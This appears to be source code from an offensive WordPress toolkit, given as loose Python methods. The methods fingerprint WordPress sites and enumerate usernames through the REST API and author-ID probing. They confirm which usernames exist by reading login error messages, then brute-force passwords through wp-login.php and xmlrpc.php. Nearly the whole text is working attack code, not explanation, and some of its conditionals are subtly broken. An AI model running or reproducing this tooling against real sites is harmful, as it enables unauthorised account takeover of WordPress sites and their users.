def wp_login_validate(self, url, data): """ This function validates the usernames by trying to log in with the username and sees what is the error. is there no such username or is only the password wrong :param url: full url for the login request :param data: list. the usernames to validate return: list. the final validate usernames """ try: valid_data = [] for u in data: try: payload = {'log': u, 'pwd': '1234'} http_handler = HTTPRequestHandler(proxies=self._proxies, retries=0, timeout=5, payload=payload) r = http_handler.send_http_request(method='post', url=url) if 'Please verify you are human' in r.text: break if 'Invalid username' in r.text: continue elif 'The password you entered for the username' in r.text: valid_data.append(u) except Exception as e: print(e) continue return valid_data except Exception as e: print(e)
def __get_version_standalone(self): """ detects the version of the wordpress :return: a list of tuples: [(whether the domain operates over Wordpress, doesn't return the version),..] """ try: response_list = [] for url in _VERSION_DETECTABLE_URLS: complete_url_https = 'https://' + str(self._domain) + url complete_url_http = 'http://' + str(self._domain) + url http_handler = HTTPRequestHandler(proxies=self._proxies, retries=0, timeout=5) response = http_handler.send_http_request( method='get', url=complete_url_https) if response is None: response = http_handler.send_http_request( method='get', url=complete_url_http) response_list.append( self.__detect_version_logic(response.content, url)) possible_outcomes = [] outcome = None for item in response_list: if item[0]: possible_outcomes.append(item) for outcome in possible_outcomes: if 'version' not in outcome[1]: return outcome return outcome except Exception as e: print(e)
def validate_data(self, data): """ This function validates the usernames that were enumerated :param data: list. the usernames to validate return: list. the final validate usernames """ try: r = HTTPRequestHandler().send_http_request(method='get', url='http://' + str(self._domain)) wp_login_url = r.url + '/wp-login.php' r = HTTPRequestHandler().send_http_request(method='get', url=wp_login_url) if str(r.status_code) == '200': for user in data: if " " in user: new_user = str(user).split(" ") data += new_user u = str(user).replace(" ", "_") data += [u] valid_data = self.wp_login_validate(wp_login_url, data) return valid_data else: return data except Exception as e: print(e)
def is_wordpress_no_url(self, proxies=None, timeout=5, retries=0): """ This function cheks if a domain is running WordPress even if there aren't any urls givven :param proxies: working via HTTP proxies. If None, the constructor's proxies are used (if any) :param retries: The number of tries that each HTTP request will be sent until it will succeed :param timeout: How much time each HTTP request will wait for an answer :return: List of tuples of all the indications [(True/False, if a version was discovered) """ response_list = [] url = 'https://' + str(self._domain) http_handler = HTTPRequestHandler(proxies=proxies, retries=retries, timeout=timeout) response = http_handler.send_http_request(method='get', url=url) if response is None: url = 'http://' + str(self._domain) http_handler = HTTPRequestHandler(proxies=proxies, retries=retries, timeout=timeout) response = http_handler.send_http_request(method='get', url=url) if response is None: pass if str(response.status_code) != '200': response_list.append((False, "Could'nt detect version")) return response_list else: response_list = [] # check in source code if important 'wp-'s in: count = 0 http_handler = HTTPRequestHandler(proxies=proxies, retries=retries, timeout=timeout) response = http_handler.send_http_request(method='get', url=url) if 'wp-content' in str(response.content): count += 1 if 'wordpress' in str(response.content).lower(): count += 1 if 'wp-admin' in str(response.content): count += 1 if 'wp-includes' in str(response.content): count += 1 if 'wp-json' in str(response.content): count += 1 if 5 >= count >= 3: response_list.append((True, "Could'nt detect version")) else: response_list.append((False, "Could'nt detect version")) if 'name="generator" content="wordpress"' in str( response.content).lower(): response_list.append( self.get_version(response.content, url + '/wp-admin')) return response_list return response_list
def is_method_possible(self): """ check whether the bruteforce via xmlrpc.php is possible for the domain or not :return:boolean. Returns whether the bruteforce via xmlrpc.php is possible for the domain or not """ try: '''figure out if this site is http or https''' r = HTTPRequestHandler().send_http_request(method='get', url='http://' + str(self._domain)) url = r.url + '/xmlrpc.php' http_handler = HTTPRequestHandler() response = http_handler.send_http_request(method='post', url=url) if str(response.status_code) == ('200' or '403' or '401'): return True return False except Exception as e: print(e)
def _enumerate_rest_api(self, proxies=None): """ This Function enumerates users using a rest_api method :return: None """ try: if proxies is not None: self._proxies = proxies http_handler = HTTPRequestHandler(proxies=self._proxies, retries=0, timeout=5) users_dict = {} users_list = [] url_rest_api = 'https://' + str(self._domain) + self._URL_REST_API url_rest_api_http = 'http://' + str( self._domain) + self._URL_REST_API try: r = http_handler.send_http_request(method='get', url=url_rest_api) if r is None: r = http_handler.send_http_request(method='get', url=url_rest_api_http) json_response_list = json.loads(r.content) for json_item in json_response_list: ''' id_data = [] if json_item['id'] in users_dict.keys(): id_data.append(users_dict[json_item['id']]) id_data.append(json_item['name']) else: ''' users_dict[json_item['id']] = json_item['name'] if json_item['name']: users_list.append(json_item['name']) except Exception as e: print(e) self._user_data_rest.update(users_dict) if users_list: self._user_names = self._user_names + users_list except Exception as e: print(e)
def is_method_possible(self): """ check whether the bruteforce via wp-login.php is possible for the domain or not :return:boolean. Returns whether the bruteforce via wp-login.php is possible for the domain or not """ try: url = 'http://' + str(self._domain) + '/wp-login.php' r = HTTPRequestHandler().send_http_request(method='get', url=url) if '404 Page Not Found' in r.text or str(r.status_code) != '200': return False else: return True except Exception as e: print(e)
def bruteforce(self, usernames, passwords, retries=0, timeout=5): """ this functhon run the run_bruteforce over wp-login.php url. :param usernames:list. list of usernames we want t 0 brutforce. :param passwords:list. list of passwords to perform the bruteforce. :param retries: The number of tries that each HTTP request will be sent until it will succeed :param timeout: How much time each HTTP request will wait for an answer :return: dict. dict of passwords and usernames who succesfully bruteforce via wp-login.php. """ try: '''figure out if this site is http or https''' r = HTTPRequestHandler().send_http_request(method='get', url='http://' + str(self._domain)) url = r.url complete_url = url + '/wp-login.php' for u in usernames: for p in passwords: try: payload = {'log': u, 'pwd': p} http_handler = HTTPRequestHandler( proxies=self._proxies, retries=retries, timeout=timeout, payload=payload) r = http_handler.send_http_request(method='post', url=complete_url) if 'wp-login' not in str(r.url): self._listOfPasswords[u + p] = (u, p) except Exception as e: print(e) continue return self._listOfPasswords except: print( "error in executing function: 'bruteforce' in httpsBruteforcer" )
def bruteforce(self, usernames, passwords, retries=0, timeout=5): """ this functhon run the run_bruteforce over xmlrpc.php url. :param usernames:list. list of usernames we want t 0 brutforce. :param passwords:list. list of passwords to perform the bruteforce. :param retries: The number of tries that each HTTP request will be sent until it will succeed :param timeout: How much time each HTTP request will wait for an answer :return: dict. dict of passwords and usernames who succesfully bruteforce via xmlrpc.php. """ try: prefix = "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>" '''figure out if this site is http or https''' r = HTTPRequestHandler().send_http_request(method='get', url='http://' + str(self._domain)) complete_url = r.url + '/xmlrpc.php' resp = requests.post(complete_url, prefix, verify=False, allow_redirects=False, timeout=timeout) if 'metaWeblog.getUsersBlogs' or 'wp.getCategories' or 'wp.getUsersBlogs' in resp.text: list_of_methods = ['metaWeblog.getUsersBlogs', 'wp.getCategories', 'wp.getUsersBlogs'] for method in list_of_methods: for u in usernames: for p in passwords: xml_request = f"<methodCall><methodName>{method}</methodName><params>\ <param><value>{u}</value></param><param><value>{p}</value></param>\ </params></methodCall>" resp = requests.post(complete_url, xml_request, verify=False, allow_redirects=False, timeout=timeout) if str(resp.status_code) != '200': continue elif 'Incorrect username or password' in resp.text: continue elif 'Insufficient arguments passed to this XML-RPC method' in resp.text: continue elif 'faultString' in resp.text: continue else: self._dictOfPasswords[u + p] = (u, p) return self._dictOfPasswords except Exception as e: print(e) print("error in executing function: 'bruteforce' in xmlrpc.php brutforcer")
def is_enumeration_possible(self): """ Returns whether the enumeration is possible or not :return: tuple (if enumeration is possible or not, list of the urls that indicated it is possible) """ try: url_rest_api = 'https://' + str(self._domain) + self._URL_REST_API url_rest_api_http = 'http://' + str( self._domain) + self._URL_REST_API url_brute_force = 'https://' + str( self._domain) + self._URL_BRUTE_FORCE + str(self._MIN_ID + 1) url_brute_force_http = 'http://' + str( self._domain) + self._URL_BRUTE_FORCE + str(self._MIN_ID + 1) http_handler = HTTPRequestHandler(proxies=self._proxies, retries=0, timeout=5) try: r1 = http_handler.send_http_request(method='get', url=url_rest_api) if r1 is None: r1 = http_handler.send_http_request(method='get', url=url_rest_api_http) r2 = http_handler.send_http_request(method='get', url=url_brute_force) if r2 is None: r2 = http_handler.send_http_request( method='get', url=url_brute_force_http) if r1.status_code != 200 and '/author/' not in r2.url: return False else: if r1.status_code == 200 and '/author/' in r2.url: return True, [ self._URL_REST_API, self._URL_BRUTE_FORCE ] elif r1.status_code != 200 and '/author/' in r2.url: return True, [self._URL_BRUTE_FORCE] elif r1.status_code == 200 and '/author/' not in r2.url: return True, [self._URL_REST_API] except Exception as e: print(e) except Exception as e: print(e)
def _enumerate_bruteforce(self, min_id=_MIN_ID, max_id=_MAX_ID, proxies=None, bypass=False): """ This Function enumerates users using a bruteforce method :param min_id: int. the min id of user to enumerate :param max_id: int. the max id of user to enumerate :return: None """ try: if proxies is not None: self._proxies = proxies http_handler = HTTPRequestHandler(proxies=self._proxies, retries=0, timeout=5) users_dict = {} users_list = [] r = HTTPRequestHandler().send_http_request(method='get', url='http://' + str(self._domain)) url = r.url if min_id == 0: min_id += 1 for i in range(min_id, max_id): try: if not bypass: r = http_handler.send_http_request( method='get', url=url + self._URL_BRUTE_FORCE + str(i)) else: r = http_handler.send_http_request( method='get', url=url + self._URL_BRUTE_FORCE_BYPASS_1 + str(i)) if r is None: break user_name = '' if '/author/' in r.url: user_name = str(r.url).split('/author/')[1][:-1] else: data = str(r.content) start_index = data.find('<title>') if start_index != -1: end_1 = data.find(" &", start_index) end_2 = data.find(",", start_index) end = min(end_1, end_2) user_name_optional = data[start_index + 7:end] if str(r.status_code) == '200' and '\\x' not in user_name_optional.lower() \ and len(user_name_optional) < 30: user_name = user_name_optional if user_name: users_dict[i] = user_name if user_name: users_list.append(user_name) except Exception as e: print(e) self._user_data_brut.update(users_dict) if users_list: self._user_names = self._user_names + users_list except Exception as e: print(e)
def is_wordpress(self, urls=None, proxies=None, timeout=5, retries=0): """ This function detects if the website runs over wordpress :param urls: URLs to analyze; make sure the URLs are relevant for the domain :param proxies: working via HTTP proxies. If None, the constructor's proxies are used (if any) :param retries: The number of tries that each HTTP request will be sent until it will succeed :param timeout: How much time each HTTP request will wait for an answer :return: a tuple: (whether the domain operates over Wordpress, its version) """ try: response_list = [] if not urls: response_list += self.is_wordpress_no_url(proxies=proxies, timeout=timeout, retries=retries) else: response_list = [] for url in urls: complete_url = 'https://' + str(self._domain) + url http_handler = HTTPRequestHandler(proxies=proxies, retries=retries, timeout=timeout) response = http_handler.send_http_request(method='get', url=complete_url) if response is None: complete_url = 'http://' + str(self._domain) + url http_handler = HTTPRequestHandler(proxies=proxies, retries=retries, timeout=timeout) response = http_handler.send_http_request( method='get', url=complete_url) if response is None: break if 'licence' in url: count = 0 if str(response.status_code) == '200': if 'WordPress - Web publishing software' in str( response.content): count += 1 if 'WordPress is released under the GPL' in str( response.content): count += 1 if 'The source code for any program binaries or compressed scripts that are' in str( response.content) and \ 'included with WordPress can be freely obtained at the following URL:' \ in str(response.content): count += 1 if 3 >= count >= 2: response_list.append( self.get_version(response.content, url)) if 'readme' in url: if str(response.status_code) == '200': if 'wordpress-logo.png' in str(response.content): response_list.append( (True, "Could'nt detect version")) response_list.append( (False, "Could'nt detect version")) if 'feed' in url: if str(response.status_code) == '200': response_list.append( self.get_version(response.content, url)) if 'wp-links-opml' in url: response_list.append( self.get_version(response.content, url)) if 'upgrade' in url: if 'wordpress-logo.png' in str(response.content): response_list.append( (True, "Could'nt detect version")) response_list.append( (False, "Could'nt detect version")) if 'admin' in url: count = 0 if 'wp-content' in str(response.content): count += 1 elif 'wordpress' in str(response.content): count += 1 if 'wp-admin' in str(response.content): count += 1 if 'wp-includes' in str(response.content): count += 1 if 'wp-json' in str(response.content): count += 1 if 5 >= count >= 3: response_list.append( (True, "Could'nt detect version")) response_list.append( self.get_version(response.content, url + '/wp-admin')) if 'robots' in url: if ('wp-admin' or 'WP rules' or 'wordpress rules' or 'wp-includes') in str(response.content): response_list.append( (True, "Could'nt detect version")) response_list.append( (False, "Could'nt detect version")) response_list += self.is_wordpress_no_url(proxies=proxies, timeout=timeout, retries=retries) possible_outcomes = [] is_word_press = False for item in response_list: if item[0]: possible_outcomes.append(item) for outcome in possible_outcomes: if outcome[0]: is_word_press = True if 'version' not in outcome[1]: return outcome if is_word_press: return True, "Could'nt detect version" return False, "Could'nt detect version" except Exception as e: print(e)